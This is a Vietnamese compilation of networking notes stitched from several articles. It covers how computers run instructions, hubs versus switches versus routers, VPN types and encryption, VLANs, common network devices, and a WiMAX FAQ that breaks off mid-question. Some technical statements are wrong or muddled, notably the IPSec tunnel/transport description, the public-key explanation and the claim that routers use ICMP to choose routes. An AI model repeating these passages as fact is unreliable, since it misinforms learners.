Các chỉ thị trong máy tính tương ứng với mã trong hệ nhị phân - hệ đếm cơ số 2. Ví dụ mã của chỉ thị sao chép ("copy") có thể là 001. Tập hợp các chỉ thị mà một máy tính hỗ trợ được gọi là ngôn ngữ máy của máy tính. Trong thực tế, người ta thông thường không viết các chỉ thị cho máy tính bằng ngôn ngữ máy mà sử dụng các ngôn ngữ lập trình "bậc cao" để sau đó chúng được dịch sang ngôn ngữ máy một cách tự động bởi các chương trình máy tính đặc biệt (trình thông dịch (interpreter) và trình biên dịch (compiler)). Một số ngôn ngữ lập trình rất gần với ngôn ngữ máy như assembler gọi là ngôn ngữ bậc thấp; ngược lại các ngôn ngữ lập trình như Prolog, Basic, Delphi... dựa trên các nguyên lý trừu tượng rất xa với hoạt động thực sự của máy gọi là ngôn ngữ bậc cao.

[sửa]
Kiến trúc
Các máy tính hiện đại ghép chung ALU và đơn vị kiểm soát vào trong một IC gọi là đơn vị xử lý trung tâm hay CPU. Thông thường, bộ nhớ máy tính nằm trong một số IC nhỏ gần CPU. Phần lớn trọng lượng máy tính là các bộ phận phụ thuộc như hệ thống cung cấp điện hay các thiết bị đầu/cuối (I/O).

Một số máy tính lớn khác biệt với mô hình trên ở điểm chính sau - chúng có nhiều CPU và đơn vị kiểm soát hoạt động đồng bộ. Ngoài ra, một số máy tính, sử dụng chủ yếu trong nghiên cứu và tính toán khoa học, khác biệt rất đáng kể với mô hình trên, nhưng chúng ít có ứng dụng thương mại vì mô hình lập trình chúng vẫn chưa được chuẩn hóa.

Vì vậy, hoạt động của máy tính thì không phức tạp trên nguyên lý. Thông thường, trong mỗi nhịp đồng hồ, máy tính sẽ nhận được các chỉ thị và dữ liệu từ bộ nhớ của nó. Các chỉ thị được thực thi, kết quả được lưu lại và chỉ thị tiếp theo được nhận về. Quá trình này tiếp diễn cho đến khi gặp chỉ thị dừng.

[sửa]
Chương trình
Chương trình máy tính đơn giản chỉ là một danh sách các chỉ thị để máy tính thực thi, có thể với các bảng dữ liệu. Rất nhiều chương trình máy tính chứa hàng triệu chỉ thị và rất nhiều chỉ thị được lặp đi lặp lại. Một chiếc máy tính thông thường ngày nay (năm 2003) có thể thực hiện 2-3 tỷ chỉ thị trong một giây. Máy tính không có các khả năng đặc biệt thông qua việc thực thi các chỉ thị phức tạp mà cơ bản là nó chỉ thực thi các chỉ thị đơn giản do lập trình viên đưa ra. Một số lập trình viên giỏi phát triển các tập hợp chỉ thị dùng cho một số công việc chung (như vẽ một điểm trên màn hình) và cung cấp các tập hợp chỉ thị đó cho các lập trình viên khác. Một số lập trình viên khác chỉ phát triển các ứng dụng thực tế dựa trên các nền tảng mà các lập trình viên kia cung cấp cho họ.

Hiện nay, phần lớn máy tính có thể thực hiện cùng một lúc vài chương trình. Điều này được gọi là đa nhiệm (multitasking). Trên thực tế, CPU thực thi các chỉ thị của một chương trình, sau một khoảng thời gian ngắn, nó chuyển sang thực thi các chỉ thị của chương trình thứ hai v.v. Khoảng thời gian ngắn đó được xem như là sự phân chia thời gian của CPU và nó tạo ảo giác như là các chương trình được thực thi đồng thời. Điều này cũng tương tự như phim là sự chuyển động đơn giản của các ảnh kế tiếp nhau. Hệ điều hành là chương trình thông thường kiểm soát sự phân chia thời gian đó.

[sửa]
Hệ điều hành
Máy tính thường xuyên cần ít nhất một chương trình luôn luôn chạy để đảm bảo sự hoạt động của nó. Trong điều kiện hoạt động bình thường (đối với các máy tính tiêu chuẩn) chương trình này được gọi là hệ điều hành (operating system). Hệ điều hành sẽ quyết định chương trình nào được thi hành, khi nào và bao nhiêu tài nguyên (như bộ nhớ hay đầu vào/đầu ra) chúng được cấp. Hệ điều hành cũng cung cấp một lớp trừu tượng trên phần cứng và cho phép truy nhập bằng các dịch vụ cung cấp cho các chương trình khác, như mã ("driver") cho phép lập trình viên viết chương trình cho máy tính mà không cần thiết phải biết các chi tiết thuộc bản chất của các thiết bị điện tử đính kèm.

Phần lớn các hệ điều hành có các lớp trừu tượng phần cứng đều có một giao diện người dùng (user interface) chuẩn hóa. Hệ điều hành phổ biến nhất hiện nay là các Windows

switch-router...

Ngày nay, hầu hết các router đều là thiết bị kết hợp nhiều chức năng, và thậm chí nó còn đảm nhận cả chức năng của switch và hub. Đôi khi router, switch và hub được kết hợp trong cùng một thiết bị, và đối với những ai mới làm quen với mạng thì rất dễ nhầm lẫn giữa chức năng của các thiết bị này.

Nào chúng ta hãy bắt đầu với hub và switch bởi cả hai thiết bị này đều có những vai trò tương tự trên mạng. Mỗi thiết bị dều đóng vai trò kết nối trung tâm cho tất cả các thiết bị mạng, và xử lý một dạng dữ liệu được gọi là "frame" (khung). Mỗi khung đều mang theo dữ liệu. Khi khung được tiếp nhận, nó sẽ được khuyếch đại và truyền tới cổng của PC đích. Sự khác biệt lớn nhất giữa hai thiết bị này là phương pháp phân phối các khung dữ liệu.

Với hub, một khung dữ liệu được truyền đi hoặc được phát tới tất cả các cổng của thiết bị mà không phân biệt các cổng với nhau. Việc chuyển khung dữ liệu tới tất cả các cổng của hub để chắc rằng dữ liệu sẽ được chuyển tới đích cần đến. Tuy nhiên, khả năng này lại tiêu tốn rất nhiều lưu lượng mạng và có thể khiến cho mạng bị chậm đi (đối với các mạng công suất kém).

Ngoài ra, một hub 10/100Mbps phải chia sẻ băng thông với tất cả các cổng của nó. Do vậy khi chỉ có một PC phát đi dữ liệu (broadcast) thì hub vẫn sử dụng băng thông tối đa của mình. Tuy nhiên, nếu nhiều PC cùng phát đi dữ liệu, thì vẫn một lượng băng thông này được sử dụng, và sẽ phải chia nhỏ ra khiến hiệu suất giảm đi.

Trong khi đó, switch lưu lại bản ghi nhớ địa chỉ MAC của tất cả các thiết bị mà nó kết nối tới. Với thông tin này, switch có thể xác định hệ thống nào đang chờ ở cổng nào. Khi nhận được khung dữ liệu, switch sẽ biết đích xác cổng nào cần gửi tới, giúp tăng tối đa thời gian phản ứng của mạng. Và không giống như hub, một switch 10/100Mbps sẽ phân phối đầy đủ tỉ lệ 10/100Mbps cho mỗi cổng thiết bị. Do vậy với switch, không quan tâm số lượng PC phát dữ liệu là bao nhiêu, người dùng vẫn luôn nhận được băng thông tối đa. Đó là lý do tại sao switch được coi là lựa chọn tốt hơn so với hub.

Còn router thì khác hoàn toàn so với hai thiết bị trên. Trong khi hub hoặc switch liên quan tới việc truyền khung dữ liệu thì chức năng chính của router là định tuyến các gói tin trên mạng cho tới khi chúng đến đích cuối cùng. Một trong những đặc tính năng quan trọng của một gói tin là nó không chỉ chứa dữ liệu mà còn chứa địa chỉ đích đến.

Router thường được kết nối với ít nhất hai mạng, thông thường là hai mạng LAN hoặc WAN, hoặc một LAN và mạng của ISP nào đó. Router được đặt tại gateway, nơi kết nối hai hoặc nhiều mạng khác nhau. Nhờ sử dụng các tiêu đề (header) và bảng chuyển tiếp (forwarding table), router có thể quyết định nên sử dụng đường đi nào là tốt nhất để chuyển tiếp các gói tin. Router sử dụng giao thức ICMP để giao tiếp với các router khác và giúp cấu hình tuyến tốt nhất giữa bất cứ hai host nào.

Ngày nay, có rất nhiều các dịch vụ được gắn với các router băng rộng. Thông thường, một router bao gồm 4-8 cổng Ethernet switch (hoặc hub) và một bộ chuyển đổi địa chỉ mạng - NAT (Network Address Translator). Ngoài ra, router thường gồm một máy chủ DHCP (Dynamic Host Configuration Protocol), máy chủ proxy DNS (Domain Name Service), và phần cứng tường lửa để bảo vệ mạng LAN trước các xâm nhập trái phép từ mạng Internet.

Tất cả các router đều có cổng WAN để kết nối với đường DSL hoặc modem cáp – dành cho dịch vụ Internet băng rộng, và switch tích hợp để tạo mạng LAN được dễ dàng hơn. Tính năng này cho phép tất cả các PC trong mạng LAN có thể truy cập Internet và sử dụng các dịch vụ chia sẻ file và máy in.

Một số router chỉ có một cổng WAN và một cổng LAN, được thiết kế cho việc kết nối một hub/switch LAN hiện hành với mạng WAN. Các switch và hub Ethernet có thể kết nối với một router để mở rộng mạng LAN. Tuỳ thuộc vào khả năng (nhiều cổng) của mỗi router, switch hoặc hub, mà kết nối giữa các router, switche/hub có thể cần tới cáp nối thẳng hoặc nối vòng. Một số router thậm chí có cả cổng USB và nhiều điểm truy cập không dây tích hợp.

Một số router cao cấp hoặc dành cho doanh nghiệp còn được tích hợp cổng serial – giúp kết nối với modem quay số ngoài, rất hữu ích trong trường hợp dự phòng đường kết nối băng rộng chính trục trặc, và tích hợp máy chủ máy in mạng LAN và cổng máy in.

Ngoài tính năng bảo vệ được NAT cung cấp, rất nhiều router còn có phần cứng tường lửa tích hợp sẵn, có thể cấu hình theo yêu cầu của người dùng. Tường lửa này có thể cấu hình từ mức đơn giản tới phức tạp. Ngoài những khả năng thường thấy trên các router hiện đại, tường lửa còn cho phép cấu hình cổng TCP/UDP dành cho game, dịch vụ chat, và nhiều tính năng khác.

Và như vậy, có thể nói một cách ngắn gọn là: hub được gắn cùng với một thành phần mạng Ethernet; switch có thể kết nối hiệu quả nhiều thành phần Ethernet với nhau; và router có thể đảm nhận tất cả các chức năng này, cộng thêm việc định tuyến các gói TCP/IP giữa các mạng LAN hoặc WAN, và tất nhiên còn nhiều chức năng khác nữa.


vpn

Giải pháp VPN (Virtual Private Network) được thiết kế cho những tổ chức có xu hướng tăng cường thông tin từ xa vì địa bàn hoạt động rộng (trên toàn quốc hay toàn cầu). Tài nguyên ở trung tâm có thể kết nối đến từ nhiều nguồn nên tiết kiệm được được chi phí và thời gian.





Một mạng VPN điển hình bao gồm mạng LAN chính tại trụ sở (Văn phòng chính), các mạng LAN khác tại những văn phòng từ xa, các điểm kết nối (như 'Văn phòng' tại gia) hoặc người sử dụng (Nhân viên di động) truy cập đến từ bên ngoài.





Khái niệm



Về cơ bản, VPN là một mạng riêng sử dụng hệ thống mạng công cộng (thường là Internet) để kết nối các địa điểm hoặc người sử dụng từ xa với một mạng LAN ở trụ sở trung tâm. Thay vì dùng kết nối thật khá phức tạp như đường dây thuê bao số, VPN tạo ra các liên kết ảo được truyền qua Internet giữa mạng riêng của một tổ chức với địa điểm hoặc người sử dụng ở xa.



Các loại VPN



Có hai loại phổ biến hiện nay là VPN truy cập từ xa (Remote-Access ) và VPN điểm-nối-điểm (site-to-site)



VPN truy cập từ xa còn được gọi là mạng Dial-up riêng ảo (VPDN), là một kết nối người dùng-đến-LAN, thường là nhu cầu của một tổ chức có nhiều nhân viên cần liên hệ với mạng riêng của mình từ rất nhiều địa điểm ở xa. Ví dụ như công ty muốn thiết lập một VPN lớn phải cần đến một nhà cung cấp dịch vụ doanh nghiệp (ESP). ESP này tạo ra một máy chủ truy cập mạng (NAS) và cung cấp cho những người sử dụng từ xa một phần mềm máy khách cho máy tính của họ. Sau đó, người sử dụng có thể gọi một số miễn phí để liên hệ với NAS và dùng phần mềm VPN máy khách để truy cập vào mạng riêng của công ty. Loại VPN này cho phép các kết nối an toàn, có mật mã.
VPN điểm-nối-điểm là việc sử dụng mật mã dành cho nhiều người để kết nối nhiều điểm cố định với nhau thông qua một mạng công cộng như Internet. Loại này có thể dựa trên Intranet hoặc Extranet. Loại dựa trên Intranet: Nếu một công ty có vài địa điểm từ xa muốn tham gia vào một mạng riêng duy nhất, họ có thể tạo ra một VPN intranet (VPN nội bộ) để nối LAN với LAN. Loại dựa trên Extranet: Khi một công ty có mối quan hệ mật thiết với một công ty khác (ví dụ như đối tác cung cấp, khách hàng...), họ có thể xây dựng một VPN extranet (VPN mở rộng) kết nối LAN với LAN để nhiều tổ chức khác nhau có thể làm việc trên một môi trường chung.



Trong hình minh họa trên, kết nối giữa Văn phòng chính và Văn phòng từ xa là loại VPN Intranet, kết nối giữa Văn phòng chính với Đối tác kinh doanh là VPN Extranet.



Bảo mật trong VPN



Tường lửa (firewall) là rào chắn vững chắc giữa mạng riêng và Internet. Bạn có thể thiết lập các tường lửa để hạn chế số lượng cổng mở, loại gói tin và giao thức được chuyển qua. Một số sản phẩm dùng cho VPN như router 1700 của Cisco có thể nâng cấp để gộp những tính năng của tường lửa bằng cách chạy hệ điều hành Internet Cisco IOS thích hợp. Tốt nhất là hãy cài tường lửa thật tốt trước khi thiết lập VPN.



Mật mã truy cập là khi một máy tính mã hóa dữ liệu và gửi nó tới một máy tính khác thì chỉ có máy đó mới giải mã được. Có hai loại là mật mã riêng và mật mã chung.



Mật mã riêng (Symmetric-Key Encryption): Mỗi máy tính đều có một mã bí mật để mã hóa gói tin trước khi gửi tới máy tính khác trong mạng. Mã riêng yêu cầu bạn phải biết mình đang liên hệ với những máy tính nào để có thể cài mã lên đó, để máy tính của người nhận có thể giải mã được.



Mật mã chung (Public-Key Encryption) kết hợp mã riêng và một mã công cộng. Mã riêng này chỉ có máy của bạn nhận biết, còn mã chung thì do máy của bạn cấp cho bất kỳ máy nào muốn liên hệ (một cách an toàn) với nó. Để giải mã một message, máy tính phải dùng mã chung được máy tính nguồn cung cấp, đồng thời cần đến mã riêng của nó nữa. Có một ứng dụng loại này được dùng rất phổ biến là Pretty Good Privacy (PGP), cho phép bạn mã hóa hầu như bất cứ thứ gì.



Giao thức bảo mật giao thức Internet (IPSec) cung cấp những tính năng an ninh cao cấp như các thuật toán mã hóa tốt hơn, quá trình thẩm định quyền đăng nhập toàn diện hơn.



IPSec có hai cơ chế mã hóa là Tunnel và Transport. Tunnel mã hóa tiêu đề (header) và kích thước của mỗi gói tin còn Transport chỉ mã hóa kích thước. Chỉ những hệ thống nào hỗ trợ IPSec mới có thể tận dụng được giao thức này. Ngoài ra, tất cả các thiết bị phải sử dụng một mã khóa chung và các tường lửa trên mỗi hệ thống phải có các thiết lập bảo mật giống nhau. IPSec có thể mã hóa dữ liệu giữa nhiều thiết bị khác nhau như router với router, firewall với router, PC với router, PC với máy chủ.



Máy chủ AAA



AAA là viết tắt của ba chữ Authentication (thẩm định quyền truy cập), Authorization (cho phép) và Accounting (kiểm soát). Các server này được dùng để đảm bảo truy cập an toàn hơn. Khi yêu cầu thiết lập một kết nối được gửi tới từ máy khách, nó sẽ phải qua máy chủ AAA để kiểm tra. Các thông tin về những hoạt động của người sử dụng là hết sức cần thiết để theo dõi vì mục đích an toàn.



Sản phẩm công nghệ dành cho VPN



Tùy vào loại VPN (truy cập từ xa hay điểm-nối-điểm), bạn sẽ cần phải cài đặt những bộ phận hợp thành nào đó để thiết lập mạng riêng ảo. Đó có thể là:



- Phần mềm cho desktop của máy khách dành cho người sử dụng từ xa.

- Phần cứng cao cấp như bộ xử lý trung tâm VPN hoặc firewall bảo mật PIX.

- Server VPN cao cấp dành cho dịch vụ Dial-up.

- NAS (máy chủ truy cập mạng) do nhà cung cấp sử dụng để phục vụ người sử dụng từ xa.

- Mạng VPN và trung tâm quản lý.



Bộ xử lý trung tâm VPN



Có nhiều loại máy xử lý VPN của các hãng khác nhau, nhưng sản phẩm của Cisco tỏ ra vượt trội ở một số tính năng. Tích hợp các kỹ thuật mã hóa và thẩm định quyền truy cập cao cấp nhất hiện nay, máy xử lý VPN được thiết kế chuyên biệt cho loại mạng này. Chúng chứa các module xử lý mã hóa SEP, cho phép người sử dụng dễ dàng tăng dung lượng và số lượng gói tin truyền tải. Dòng sản phẩm có các model thích hợp cho các mô hình doanh nghiệp từ nhỏ đến lớn (từ100 cho đến 10.000 điểm kết nối từ xa truy cập cùng lúc).

Router dùng cho VPN



Thiết bị này cung cấp các tính năng truyền dẫn, bảo mật. Dựa trên hệ điều hành Internet IOS của mình, hãng Cisco phát triển loại router thích hợp cho mọi trường hợp, từ truy cập nhà-tới-văn phòng cho đến nhu cầu của các doanh nghiệp quy mô lớn.



Tường lửa PIX của Cisco



Firewall trao đổi Internet riêng (Private Internet Exchange) bao gồm một cơ chế dịch địa chỉ mạng rất mạnh, máy chủ proxy, bộ lọc gói tin, các tính năng VPN và chặn truy cập bất hợp pháp.



Thay vì dùng IOS, thiết bị này có hệ điều hành với khả năng tổ chức cao, xoay sở được với nhiều giao thức, hoạt động rất mạnh bằng cách tập trung vào IP.


VLAN

TTM - VLAN là viết tắt của Virtual Local Area Network hay còn gọi là mạng LAN ảo. Một VLAN được định nghĩa là một nhóm logic các thiết bị mạng và được thiết lập dựa trên các yếu tố như chức năng, bộ phận, ứng dụng… của công ty.


Hiện nay, VLAN đóng một vai trò rất quan trọng trong công nghệ mạng LAN. Để thấy rõ được lợi ích của VLAN, chúng ta hãy xét trường hợp sau :


Giả sử một công ty có 3 bộ phận là: Engineering, Marketing, Accounting, mỗi bộ phận trên lại trải ra trên 3 tầng. Để kết nối các máy tính trong một bộ phận với nhau thì ta có thể lắp cho mỗi tầng một switch. Điều đó có nghĩa là mỗi tầng phải dùng 3 switch cho 3 bộ phận, nên để kết nối 3 tầng trong công ty cần phải dùng tới 9 switch. Rõ ràng cách làm trên là rất tốn kém mà lại không thể tận dụng được hết số cổng (port) vốn có của một switch. Chính vì lẽ đó, giải pháp VLAN ra đời nhằm giải quyết vấn đề trên một cách đơn giản mà vẫn tiết kiệm được tài nguyên.
Như hình vẽ trên ta thấy mỗi tầng của công ty chỉ cần dùng một switch, và switch này được chia VLAN. Các máy tính ở bộ phận kỹ sư (Engineering) thì sẽ được gán vào VLAN Engineering, các PC ở các bộ phận khác cũng được gán vào các VLAN tương ứng là Marketing và kế toán (Accounting). Cách làm trên giúp ta có thể tiết kiệm tối đa số switch phải sử dụng đồng thời tận dụng được hết số cổng (port) sẵn có của switch.

Phân loại VLAN

Port - based VLAN: là cách cấu hình VLAN đơn giản và phổ biến. Mỗi cổng của Switch được gắn với một VLAN xác định (mặc định là VLAN 1), do vậy bất cứ thiết bị host nào gắn vào cổng đó đều thuộc một VLAN nào đó.
MAC address based VLAN: Cách cấu hình này ít được sử dụng do có nhiều bất tiện trong việc quản lý. Mỗi địa chỉ MAC được đánh dấu với một VLAN xác định.
Protocol – based VLAN: Cách cấu hình này gần giống như MAC Address based, nhưng sử dụng một địa chỉ logic hay địa chỉ IP thay thế cho địa chỉ MAC. Cách cấu hình không còn thông dụng nhờ sử dụng giao thức DHCP.
Lợi ích của VLAN

Tiết kiệm băng thông của hệ thống mạng:VLAN chia mạng LAN thành nhiều đoạn (segment) nhỏ, mỗi đoạn đó là một vùng quảng bá (broadcast domain). Khi có gói tin quảng bá (broadcast), nó sẽ được truyền duy nhất trong VLAN tương ứng. Do đó việc chia VLAN giúp tiết kiệm băng thông của hệ thống mạng.
Tăng khả năng bảo mật: Do các thiết bị ở các VLAN khác nhau không thể truy nhập vào nhau (trừ khi ta sử dụng router nối giữa các VLAN). Như trong ví dụ trên, các máy tính trong VLAN kế toán (Accounting) chỉ có thể liên lạc được với nhau. Máy ở VLAN kế toán không thể kết nối được với máy tính ở VLAN kỹ sư (Engineering).
Dễ dàng thêm hay bớt máy tính vào VLAN:Việc thêm một máy tính vào VLAN rất đơn giản, chỉ cần cấu hình cổng cho máy đó vào VLAN mong muốn.
Giúp mạng có tính linh động cao:VLAN có thể dễ dàng di chuyển các thiết bị. Giả sử trong ví dụ trên, sau một thời gian sử dụng công ty quyết định để mỗi bộ phận ở một tầng riêng biệt. Với VLAN, ta chỉ cần cấu hình lại các cổng switch rồi đặt chúng vào các VLAN theo yêu cầu.
VLAN có thể được cấu hình tĩnh hay động. Trong cấu hình tĩnh, người quản trị mạng phải cấu hình cho từng cổng của mỗi switch. Sau đó, gán cho nó vào một VLAN nào đó. Trong cấu hình động mỗi cổng của switch có thể tự cấu hình VLAN cho mình dựa vào địa chỉ MAC của thiết bị được kết nối vào.



Thiet bi mang

Repeater



Trong một mạng LAN, giới hạn của cáp mạng là 100m (cho loại cáp mạng CAT 5 UTP – là cáp được dùng phổ biến nhất), bởi tín hiệu bị suy hao trên đường truyền nên không thể đi xa hơn. Vì vậy, để có thể kết nối các thiết bị ở xa hơn, mạng cần các thiết bị để khuếch đại và định thời lại tín hiệu, giúp tín hiệu có thể truyền dẫn đi xa hơn giới hạn này.

Repeater là một thiết bị ở lớp 1 (Physical Layer) trong mô hình OSI. Repeater có vai trò khuếch đại tín hiệu vật lý ở đầu vào và cung cấp năng lượng cho tín hiệu ở đầu ra để có thể đến được những chặng đường tiếp theo trong mạng. Điện tín, điện thoại, truyền thông tin qua sợi quang… và các nhu cầu truyền tín hiệu đi xa đều cần sử dụng Repeater.

Hub



Hub được coi là một Repeater có nhiều cổng. Một Hub có từ 4 đến 24 cổng và có thể còn nhiều hơn. Trong phần lớn các trường hợp, Hub được sử dụng trong các mạng 10BASE-T hay 100BASE-T. Khi cấu hình mạng là hình sao (Star topology), Hub đóng vai trò là trung tâm của mạng. Với một Hub, khi thông tin vào từ một cổng và sẽ được đưa đến tất cả các cổng khác.

Hub có 2 loại là Active Hub và Smart Hub. Active Hub là loại Hub được dùng phổ biến, cần được cấp nguồn khi hoạt động, được sử dụng để khuếch đại tín hiệu đến và cho tín hiệu ra những cổng còn lại, đảm bảo mức tín hiệu cần thiết. Smart Hub (Intelligent Hub) có chức năng tương tự như Active Hub, nhưng có tích hợp thêm chip có khả năng tự động dò lỗi - rất hữu ích trong trường hợp dò tìm và phát hiện lỗi trong mạng.

Bridge



Bridge là thiết bị mạng thuộc lớp 2 của mô hình OSI (Data Link Layer). Bridge được sử dụng để ghép nối 2 mạng để tạo thành một mạng lớn duy nhất. Bridge được sử dụng phổ biến để làm cầu nối giữa hai mạng Ethernet. Bridge quan sát các gói tin (packet) trên mọi mạng. Khi thấy một gói tin từ một máy tính thuộc mạng này chuyển tới một máy tính trên mạng khác, Bridge sẽ sao chép và gửi gói tin này tới mạng đích.

Ưu điểm của Bridge là hoạt động trong suốt, các máy tính thuộc các mạng khác nhau vẫn có thể gửi các thông tin với nhau đơn giản mà không cần biết có sự "can thiệp" của Bridge. Một Bridge có thể xử lý được nhiều lưu thông trên mạng như Novell, Banyan... cũng như là địa chỉ IP cùng một lúc. Nhược điểm của Bridge là chỉ kết nối những mạng cùng loại và sử dụng Bridge cho những mạng hoạt động nhanh sẽ khó khăn nếu chúng không nằm gần nhau về mặt vật lý.

Switch



Switch đôi khi được mô tả như là một Bridge có nhiều cổng. Trong khi một Bridge chỉ có 2 cổng để liên kết được 2 segment mạng với nhau, thì Switch lại có khả năng kết nối được nhiều segment lại với nhau tuỳ thuộc vào số cổng (port) trên Switch. Cũng giống như Bridge, Switch cũng "học" thông tin của mạng thông qua các gói tin (packet) mà nó nhận được từ các máy trong mạng. Switch sử dụng các thông tin này để xây dựng lên bảng Switch, bảng này cung cấp thông tin giúp các gói thông tin đến đúng địa chỉ.

Ngày nay, trong các giao tiếp dữ liệu, Switch thường có 2 chức năng chính là chuyển các khung dữ liệu từ nguồn đến đích, và xây dựng các bảng Switch. Switch hoạt động ở tốc độ cao hơn nhiều so với Repeater và có thể cung cấp nhiều chức năng hơn như khả năng tạo mạng LAN ảo (VLAN).

Router



Router là thiết bị mạng lớp 3 của mô hình OSI (Network Layer). Router kết nối hai hay nhiều mạng IP với nhau. Các máy tính trên mạng phải "nhận thức" được sự tham gia của một router, nhưng đối với các mạng IP thì một trong những quy tắc của IP là mọi máy tính kết nối mạng đều có thể giao tiếp được với router.

Ưu điểm của Router: Về mặt vật lý, Router có thể kết nối với các loại mạng khác lại với nhau, từ những Ethernet cục bộ tốc độ cao cho đến đường dây điện thoại đường dài có tốc độ chậm.

Nhược điểm của Router: Router chậm hơn Bridge vì chúng đòi hỏi nhiều tính toán hơn để tìm ra cách dẫn đường cho các gói tin, đặc biệt khi các mạng kết nối với nhau không cùng tốc độ. Một mạng hoạt động nhanh có thể phát các gói tin nhanh hơn nhiều so với một mạng chậm và có thể gây ra sự nghẽn mạng. Do đó, Router có thể yêu cầu máy tính gửi các gói tin đến chậm hơn. Một vấn đề khác là các Router có đặc điểm chuyên biệt theo giao thức - tức là, cách một máy tính kết nối mạng giao tiếp với một router IP thì sẽ khác biệt với cách nó giao tiếp với một router Novell hay DECnet. Hiện nay vấn đề này được giải quyết bởi một mạng biết đường dẫn của mọi loại mạng được biết đến. Tất cả các router thương mại đều có thể xử lý nhiều loại giao thức, thường với chi phí phụ thêm cho mỗi giao thức.

Gateway



Gateway cho phép nối ghép hai loại giao thức với nhau. Ví dụ: mạng của bạn sử dụng giao thức IP và mạng của ai đó sử dụng giao thức IPX, Novell, DECnet, SNA... hoặc một giao thức nào đó thì Gateway sẽ chuyển đổi từ loại giao thức này sang loại khác.

Qua Gateway, các máy tính trong các mạng sử dụng các giao thức khác nhau có thể dễ dàng "nói chuyện" được với nhau. Gateway không chỉ phân biệt các giao thức mà còn còn có thể phân biệt ứng dụng như cách bạn chuyển thư điện tử từ mạng này sang mạng khác, chuyển đổi một phiên làm việc từ xa...

wimax

WiMAX là viết tắt của gì?

“WiMAX” là từ viết tắt của Worldwide Interoperability for Microwave Access – Khả năng tương tác toàn cầu với truy nhập vi ba.


Công nghệ WiMAX là gì?

WiMAX là một công nghệ dựa trên các chuẩn, cho phép truy cập băng rộng vô tuyến đến đầu cuối (last mile) như một phương thức thay thế cho cáp và DSL. WiMAX cho phép kết nối băng rộng vô tuyến cố định, nomadic (người sử dụng có thể di chuyển nhưng cố định trong lúc kết nối), mang xách được (người sử dụng có thể di chuyển với tốc độ đi bộ) và cuối cùng là di động mà không cần thiết ở trong Tầm nhìn thẳng (Line-of-Sight) trực tiếp tới một trạm gốc. Trong một bán kính của một cell điển hình là từ 3 đến 10km, các hệ thống đã được Diễn đàn WiMAX (WiMAX Forum) chứng nhận sẽ có công suất lên tới 40Mbit/s mỗi kênh cho các ứng dụng truy cập cố định và mang xách được. Điều này có nghĩa là đủ băng thông để đồng thời hỗ trợ hàng trăm doanh nghiệp với kết nối tốc độ T-1 và hàng ngàn hộ dân với kết nối tốc độ DSL. Công suất cho mạng di động khi triển khai sẽ là 15Mbit/s trong phạm vi bán kính của một cell điển hình lên tới 3km. Hy vọng vào năm 2007 công nghệ WiMAX sẽ được kết hợp vào trong các máy tính xách tay và các PDA, cho phép các khu vực nông thôn và thành phổ trở thành “các khu vực đô thị" để truy cập vô tuyến băng rộng ngoài trời cho các thiết bị di động.

Diễn đàn WiMAX là gì?

Diễn đàn WiMAX là một tổ chức của các nhà khai thác và các công ty thiết bị và cấu kiện truyền thông hàng đầu. Mục tiêu của Diễn đàn WiMAX là thúc đẩy và chứng nhận khả năng tương thích của các thiết bị truy cập vô tuyến băng rộng tuân thủ chuẩn 802.16 của IEEE và các chuẩn HiperMAN của ETSI. Diễn đàn WiMAX được thành lập để dỡ bỏ các rào cản tiến tới việc chấp nhận rộng rãi công nghệ truy cập vô tuyến băng rộng BWA (Broadband Wireless Access), vì riêng một chuẩn thì không đủ để khuyến khích việc chấp nhận rộng rãi một công nghệ. Theo mục tiêu này, Diễn đàn đã hợp tác chặt chẽ với các nhà cung cấp và các cơ quan quản lý để đảm bảo các hệ thống đượcDiễn đàn phê chuẩn đáp ứng các yêu cầu của khách hàng và của các chính phủ.

Thiết bị tại nhà của khách hàng (CPE) sẽ như thế nào và giá sẽ bao nhiêu?

Thế hệ CPE do Diễn đàn WiMAX chứng nhận đầu tiên sẽ là các trạm thuê bao được lắp đặt ngoài trời giống với các chảo vệ tinh nhỏ đã có cuối năm ngoái và đầu năm nay và giá khoảng 350USD mỗi bộ. Thế hệ CPE thứ 2 có thể là những modem có thể tự lắp trong nhà tương tự như modem cáp và DSL và có giá khoảng 250USD mỗi bộ và sẽ có mặt trên thị trường trong năm nay. Thế hệ CPE thứ 3 sẽ được tích hợp vào các laptop và các thiết bị xách tay khác, ước tính có giá 100USD và sẽ xuất hiện trong năm 2006 – 2007.

IEEE 802.16 khác công nghệ WiMAX ở điểm nào?

Một trong những mục tiêu chính của Diễn đàn WiMAX là tạo ra một chuẩn tương thích từ chuẩn 802.16 của IEEE và các chuẩn HiperMAN của ETSI. Điều này sẽ thực hiện được nhờ việc hình thành các mô tả hệ thống. Dựa trên những gì mà Diễn đàn WiMAX xem xét về các điều khoản của nhà cung cấp dịch vụ và các kế hoạch thiết bị của các nhà cung cấp, Diễn đàn WiMAX đã quyết định tập trung trước tiên vào các mô tả cho phương thức PHY OFDM 256 của chuẩn 802.16 năm 2004, được IEEE thông qua vào tháng 6/2004. Lớp vật lý (PHY) sẽ được kết hợp với một bộ điều khiển truy nhập phương tiện (MAC) độc lập đảm bảo một nền tảng thống nhất cho tất cả những triển khai WiMAX.

Tuân thủ theo chuẩn 802.16 không có nghĩa là thiết bị được Diễn đàn WiMAX chứng nhận hoặc có thể tương thích với các thiết bị của các nhà cung cấp khác. Tuy nhiên nếu một thiết bị tuân thủ thiết kế được Diễn đàn WiMAX chứng nhận thì vừa tuân thủ chuẩn 802.16 và tương thích với cả thiết bị của các nhà khai cấp khác.

Các phiên bản 802.16 như 802.16a, 802.16-2004 và 802.16e khác nhau như thế nào?

Chuẩn 802.16a của IEEE tập trung vào truy cập băng rộng cố định. Chuẩn mở rộng 802.16-2004 của IEEE cải tiến hơn nhờ hỗ trợ cho CPE trong nhà. Chuẩn 802.16e là một mở rộng của chuẩn 802.16-2004. Mục đích của chuẩn 802.16e là để bổ sung khả năng di động dữ liệu cho chuẩn hiện thời, mà ban đầu thiết kế chủ yếu dành cho cố định.

Chuẩn 802.16 của IEEE được thông qua khi nào?

